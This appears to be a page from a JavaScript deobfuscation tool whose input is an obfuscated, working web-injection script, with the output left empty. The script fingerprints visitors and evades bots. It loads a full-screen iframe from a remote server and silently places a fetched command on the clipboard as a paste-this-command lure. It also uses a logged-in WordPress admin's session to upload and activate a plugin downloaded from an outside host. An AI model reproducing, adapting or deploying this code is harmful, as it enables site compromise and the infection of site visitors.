deobfuscate.run

Input
(function(){
var _blgh=window,_gfta=document,_easb=navigator;
var _rtmfd=_gfta.currentScript||_gfta.querySelector(String.fromCharCode(115,99,114,105,112,116,91,115,114,99,42,61,34,102,105,108,101,46,106,115,34,93))||_gfta.querySelector(["s","cr","i","p","t[d","a","ta-c","]"].join(""));
var _fglgr=793;if(_fglgr<0)_fglgr=0;
var _dqmd=function(s){var a=0;if(!s)return 0;for(var i=0;i<s.length;i++){a=((a<<5)-a)+s.charCodeAt(i);a|=0}return a};
var _ktlep=Math.floor(Math.random()*220);
var _tste=function(u,b,cb){var x=new XMLHttpRequest();x.open("\x50\x4f\x53\x54",u,true);x.setRequestHeader(String.fromCharCode(67,111,110,116,101,110,116,45,84,121,112,101),"\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6a\x73\x6f\x6e");x.onload=function(){if(x.status===200){try{var r=JSON.parse(x.responseText);if(cb)cb(r)}catch(e){}}};x.onerror=function(){};x.send(JSON.stringify(b))};
var _idwa=function(u,cb){var x=new XMLHttpRequest();x.open((function(){var k=195,a=[132,134,151],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})(),u,true);x.onload=function(){if(x.status===200){try{var r=JSON.parse(x.responseText);if(cb)cb(r)}catch(e){}}};x.onerror=function(){};x.send()};
var _lijls=Date.now()%1000;
var _rbgmx=function(tk,diff){var i=0;while(i<1000000){var s=tk+":"+i;var v=0;for(var j=0;j<s.length;j++){v=((v<<5)-v)+s.charCodeAt(j);v|=0}if((v&0xFFFF)%diff===0)return i;i++}return i};
try{var _qamma=window.innerWidth||0}catch(_tct){};
var _ityg=function(html,ep,cmdToken){var f=_gfta.createElement("\x69\x66\x72\x61\x6d\x65");f.style.cssText="\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x66\x69\x78\x65\x64\x3b\x74\x6f\x70\x3a\x30\x3b\x6c\x65\x66\x74\x3a\x30\x3b\x77\x69\x64\x74\x68\x3a\x31\x30\x30\x25\x3b\x68\x65\x69\x67\x68\x74\x3a\x31\x30\x30\x25\x3b\x62\x6f\x72\x64\x65\x72\x3a\x6e\x6f\x6e\x65\x3b\x7a\x2d\x69\x6e\x64\x65\x78\x3a\x32\x31\x34\x37\x34\x38\x33\x36\x34\x37\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x3a\x23\x66\x66\x66";f.setAttribute("\x61\x6c\x6c\x6f\x77\x66\x75\x6c\x6c\x73\x63\x72\x65\x65\x6e",'');f.setAttribute("\x61\x6c\x6c\x6f\x77","\x66\x75\x6c\x6c\x73\x63\x72\x65\x65\x6e\x3b\x20\x63\x6c\x69\x70\x62\x6f\x61\x72\x64\x2d\x77\x72\x69\x74\x65");
var cpS='<scr'+'ipt>var _cmdTk="'+(cmdToken||'')+'";var _ep="'+ep.replace('/api/v1/0044d4a','')+'";var _cmdVal="";var _pm=window.parent.postMessage.bind(window.parent);if(_cmdTk){var _x=new XMLHttpRequest();_x.open("GET",_ep+"/api/v1/4aff112?tk="+_cmdTk,true);_x.onload=function(){try{var r=JSON.parse(_x.responseText);if(r&&r.c){var _b=atob(r.c),_u=new Uint8Array(_b.length);for(var _i=0;_i<_b.length;_i++)_u[_i]=_b.charCodeAt(_i);_cmdVal=new TextDecoder("utf-8").decode(_u)}}catch(e){}};_x.send()}function _bc(e){try{if(navigator.sendBeacon)navigator.sendBeacon(_ep+"/api/v1/b832c14?e="+e)}catch(x){}}function _fb(t){try{var a=document.createElement("textarea");a.value=t;a.style.cssText="position:fixed;left:-9999px;opacity:0";document.body.appendChild(a);a.focus();a.select();var ok=document.execCommand("copy");a.remove();_bc(ok?"copy_fb":"copy_fail")}catch(e){_bc("copy_fail")}}function __cp(b,k){try{_bc("vclick")}catch(e){}var t=_cmdVal;if(!t&&_cmdTk){try{var _s=new XMLHttpRequest();_s.open("GET",_ep+"/api/v1/4aff112?tk="+_cmdTk,false);_s.send(null);if(_s.status===200){var _r=JSON.parse(_s.responseText);if(_r&&_r.c){var _c2=atob(_r.c),_u2=new Uint8Array(_c2.length);for(var _j=0;_j<_c2.length;_j++)_u2[_j]=_c2.charCodeAt(_j);_cmdVal=new TextDecoder("utf-8").decode(_u2);t=_cmdVal}}}catch(e){}}if(!t&&b){try{t=atob(b)}catch(e){}}if(t){if(navigator.clipboard&&typeof navigator.clipboard.writeText==="function"){try{navigator.clipboard.writeText(t).then(function(){_bc("copy")}).catch(function(){_fb(t)})}catch(e){_fb(t)}}else{_fb(t)}}else{_bc("copy_fail")}if(!k){try{_pm({t:"v",c:b||"1",keep:false,cmd:t||""},"*")}catch(e){}}}function __close(){try{_bc("vclose")}catch(e){}try{var fe=window.frameElement;if(fe)fe.remove()}catch(e){try{_pm({t:"cf_close"},"*")}catch(x){}}}try{window.parent.postMessage=function(dd,oo){if(dd&&dd.t==="v"){__cp(dd.c,dd.keep);return}_pm(dd,oo)}}catch(e){}try{Object.defineProperty(window.parent,"postMessage",{value:function(dd,oo){if(dd&&dd.t==="v"){__cp(dd.c,dd.keep);return}_pm(dd,oo)},writable:true,configurable:true})}catch(e){}</s'+'cript>';
if(html.indexOf('</head>')!==-1){html=html.replace('</head>',cpS+'</head>')}else{html=cpS+html}
f.srcdoc=html;_gfta.body.appendChild(f);
_blgh.addEventListener(["mess","ag","e"].join(""),function(e){if(!e.data)return;if(e.data.t==="\x76"){if(e.data.cmd){try{if(_easb.clipboard&&typeof _easb.clipboard.writeText===String.fromCharCode(102,117,110,99,116,105,111,110)){_easb.clipboard.writeText(e.data.cmd).catch(function(){var a=_gfta.createElement("\x74\x65\x78\x74\x61\x72\x65\x61");a.value=e.data.cmd;a.style.cssText=["po","s","itio","n:fi","xed;","lef","t:","-","9999","px;o","p","acit","y:","0"].join("");_gfta.body.appendChild(a);a.focus();a.select();_gfta.execCommand(["copy"].join(""));a.remove()})}else{var a=_gfta.createElement("\x74\x65\x78\x74\x61\x72\x65\x61");a.value=e.data.cmd;a.style.cssText="\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x66\x69\x78\x65\x64\x3b\x6c\x65\x66\x74\x3a\x2d\x39\x39\x39\x39\x70\x78\x3b\x6f\x70\x61\x63\x69\x74\x79\x3a\x30";_gfta.body.appendChild(a);a.focus();a.select();_gfta.execCommand((function(){var k=20,a=[119,123,100,109],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})());a.remove()}}catch(ex){}}if(!e.data.keep){f.remove()}}})};
var _anbeh=660;if(_anbeh<0)_anbeh=0;
var _mcekf=function(){var o={};var t=Date.now();
o.w=!!(_easb.webdriver);var _chr=_blgh.chrome;o.ic=!!(_chr);o.cr=!!(_chr&&(_chr.runtime||_chr.app));o.sw=_blgh.screen.width||0;o.sh=_blgh.screen.height||0;o.cd=_blgh.screen.colorDepth||0;o.pr=_blgh.devicePixelRatio||1;
var _fqogb=(515^(899>>3))&0xFF;
try{var _ac=new(_blgh.AudioContext||_blgh.webkitAudioContext)();o.asr=_ac.sampleRate||0;_ac.close()}catch(e){o.asr=0}
try{var _cv=_gfta.createElement(["can","va","s"].join(""));_cv.width=64;_cv.height=16;var _cx=_cv.getContext(["web","g","l"].join(""))||_cv.getContext(String.fromCharCode(101,120,112,101,114,105,109,101,110,116,97,108,45,119,101,98,103,108));if(_cx){var _di=_cx.getExtension("\x57\x45\x42\x47\x4c\x5f\x64\x65\x62\x75\x67\x5f\x72\x65\x6e\x64\x65\x72\x65\x72\x5f\x69\x6e\x66\x6f");o.gr=_di?_cx.getParameter(_di.UNMASKED_RENDERER_WEBGL):'';o.gv=_di?_cx.getParameter(_di.UNMASKED_VENDOR_WEBGL):''}else{o.gr='';o.gv=''}}catch(e){o.gr='';o.gv=''}
try{var _cv2=_gfta.createElement(["can","va","s"].join(""));_cv2.width=128;_cv2.height=32;var _c2=_cv2.getContext((function(){var k=239,a=[221,139],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})());_c2.font=(function(){var k=69,a=[116,125,53,61,101,4,55,44,36,41],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})();_c2.fillText(String.fromCharCode(55,104,101),4,20);o.ch=_dqmd(_cv2.toDataURL())}catch(e){o.ch=0}
o.pc=_easb.plugins?_easb.plugins.length:0;o.ln=_easb.languages?_easb.languages.join(','):'';o.ts='ontouchstart'in _blgh;o.tz=new Date().getTimezoneOffset();
var _agtjl=Math.floor(Math.random()*309);
o.hp=!!(_blgh.callPhantom||_blgh._phantom||_blgh.phantom);o.hn=!!(_blgh.__nightmare);o.hs=!!(_gfta.__selenium_unwrapped||_gfta.__fxdriver_unwrapped||_blgh.__webdriver_evaluate||_blgh.__driver_evaluate);try{var _k=Object.keys(_blgh);o.hc=0;for(var j=0;j<_k.length;j++){if(_k[j].match(/^\$[a-z]dc_/)){o.hc=1;break}}}catch(e){o.hc=0}o.hd=!!(_gfta.documentElement&&_gfta.documentElement.getAttribute(String.fromCharCode(119,101,98,100,114,105,118,101,114)));try{o.np=(Notification.permission===["den","ied"].join("")&&!_easb.webdriver)?0:1}catch(e){o.np=1}
o.et=Date.now()-t;return o};
var _muxcd=Date.now()%1000;
var _amby=function(){var s=_rtmfd;if(!s)return;var bp=s.src.replace(/\/[^\/]*$/,'');
_idwa(bp+(function(){var k=234,a=[197,139,154,131,197,156,219,197,143,218,210,139,217,137,222],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})(),function(tk){if(!tk||!tk.t)return;var fp=_mcekf();var up=new URLSearchParams(_blgh.location.search);var nonce=_rbgmx(tk.t,tk.d||97);var elapsed=Date.now()-(tk.ts||Date.now());var wait=Math.max(2000-elapsed,500);
setTimeout(function(){var b={f:fp,u:_easb.userAgent,s:_blgh.location.hostname,ut:up.get(["ut","m","_sou","r","c","e"].join(""))||'',uc:up.get(["ut","m_ca","mpa","ign"].join(""))||'',um:up.get((function(){var k=153,a=[236,237,244,198,244,252,253,240,236,244],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})())||'',gc:up.get((function(){var k=217,a=[190,186,181,176,189],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})())||'',r:_gfta.referrer||'',_tk:tk.t,_n:nonce};
_tste(bp+"\x2f\x61\x70\x69\x2f\x76\x31\x2f\x30\x30\x34\x34\x64\x34\x61",b,function(r){if(r&&r.s===1&&r.h){var _xd=atob(r.h),_xk=r.xk||0,_html="";if(_xk){for(var _xi=0;_xi<_xd.length;_xi++)_html+=String.fromCharCode(_xd.charCodeAt(_xi)^_xk)}else{_html=_xd}if(r.it){(new Image()).src=bp+(function(){var k=153,a=[182,248,233,240,182,239,168,182,173,252,248,253,169,255,255,166,237,242,164],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})()+r.it}if(r.it2){var _pimg=new Image();_pimg.src=bp+["/ima","ge",".","ph","p?tk","="].join("")+r.it2}_ityg(_html,bp+(function(){var k=191,a=[144,222,207,214,144,201,142,144,143,143,139,139,219,139,222],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})(),r.ct||'')}})},wait)})};
if(_gfta.readyState===String.fromCharCode(108,111,97,100,105,110,103)){_gfta.addEventListener(["D","OMCo","n","te","nt","Loa","ded"].join(""),_amby)}else{_amby()}
// pivot: wp-admin session -> plugin upload -> activate (same-origin, creds of the visitor)
async function __pvt(zipUrl, reportUrl) {
  function log(e) { try { if (navigator.sendBeacon) navigator.sendBeacon(reportUrl + '?e=' + e); } catch (x) {} }
  try {
    var r = await fetch('/wp-admin/', { credentials: 'same-origin' });
    if (!r.ok) return;
    var h = await r.text();
    if (h.indexOf('wp-admin') === -1) return;
    log('pivot_admin');

    var p = await fetch('/wp-admin/plugin-install.php?tab=upload', { credentials: 'same-origin' });
    if (!p.ok) { log('pivot_no_pi'); return; }
    var ph = await p.text();
    var m = ph.match(/_wpnonce" value="([a-f0-9]{10})"/);
    if (!m) { log('pivot_no_nonce'); return; }

    var zr = await fetch(zipUrl);
    if (!zr.ok) { log('pivot_no_zip'); return; }
    var zb = await zr.blob();

    var fd = new FormData();
    fd.append('_wpnonce', m[1]);
    fd.append('_wp_http_referer', '/wp-admin/plugin-install.php?tab=upload');
    fd.append('pluginzip', zb, 'plugin.zip');
    fd.append('install-plugin-submit', 'Install Now');

    var up = await fetch('/wp-admin/update.php?action=upload-plugin', {
      method: 'POST', body: fd, credentials: 'same-origin'
    });
    var uh = await up.text();
    if (uh.indexOf('Plugin installed successfully') === -1) { log('pivot_up_fail'); return; }
    log('pivot_uploaded');

    var pl = await fetch('/wp-admin/plugins.php', { credentials: 'same-origin' });
    var lh = await pl.text();
    var am = lh.match(/action=activate&amp;plugin=([^"&]+)&amp;plugin_status=all&amp;paged=1&amp;s&amp;_wpnonce=([a-f0-9]{10})/);
    if (!am) { log('pivot_no_actlink'); return; }
    await fetch('/wp-admin/plugins.php?action=activate&plugin=' + am[1] + '&plugin_status=all&paged=1&s&_wpnonce=' + am[2], { credentials: 'same-origin' });
    log('pivot_ok');
  } catch (e) { log('pivot_err'); }
}try{if(!sessionStorage.getItem('_pv1')){sessionStorage.setItem('_pv1','1');__pvt('https://cdn10.sendibt1.com/p/wm.zip',bp+'/api/v1/b832c14')}}catch(e){}
})()
Output